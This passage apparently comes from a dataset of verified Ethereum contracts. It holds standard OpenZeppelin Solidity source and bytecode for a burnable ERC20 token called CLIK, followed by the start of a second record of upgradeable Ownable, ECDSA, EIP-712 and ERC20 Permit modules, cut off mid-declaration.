remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract CLIKToken is ERC20, ERC20Detailed, ERC20Burnable { constructor () public ERC20Detailed("CLIK", "CLIK", 18) { _mint(msg.sender, 1000000000 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610628565b604051808215151515815260200191505060405180910390f35b6101c5610646565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610650565b604051808215151515815260200191505060405180910390f35b610269610729565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610740565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b81019080803590602001909291905050506107f3565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610807565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084f565b005b6103c761085d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ff565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cc565b604051808215151515815260200191505060405180910390f35b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ea565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b600061063c610635610a71565b8484610a79565b6001905092915050565b6000600254905090565b600061065d848484610c70565b61071e84610669610a71565b610719856040518060600160405280602881526020016113cd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cf610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107e961074d610a71565b846107e4856001600061075e610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe690919063ffffffff16565b610a79565b6001905092915050565b6108046107fe610a71565b8261106e565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108598282611226565b5050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b60006109c261090c610a71565b846109bd856040518060600160405280602581526020016114836025913960016000610936610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b6001905092915050565b60006109e06109d9610a71565b8484610c70565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061145f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113856022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061143a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113406023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016113a7602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f98578082015181840152602081019050610f7d565b50505050905090810190601f168015610fc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806114196021913960400191505060405180910390fd5b61115f81604051806060016040528060228152602001611363602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b6816002546112f590919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611230828261106e565b6112f18261123c610a71565b6112ec846040518060600160405280602481526020016113f560249139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006112a2610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b5050565b600061133783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f26565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ca67f0d69693361a1eb45356d84a1acb2371ca77d2f665a280e4cd8518800d4d64736f6c63430005110032
[ 38 ]
0xF273EfaED59fED4F41cb9E693EefD9B1191f1522
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.5 <0.8.0; import "../token/ERC20/ERC20Upgradeable.sol"; import "./IERC20PermitUpgradeable.sol"; import "../cryptography/ECDSAUpgradeable.sol"; import "../utils/CountersUpgradeable.sol"; import "./EIP712Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; mapping (address => CountersUpgradeable.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private _PERMIT_TYPEHASH; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ function __ERC20Permit_init(string memory name) internal initializer { __Context_init_unchained(); __EIP712_init_unchained(name, "1"); __ERC20Permit_init_unchained(name); } function __ERC20Permit_init_unchained(string memory name) internal initializer { _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSAUpgradeable.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 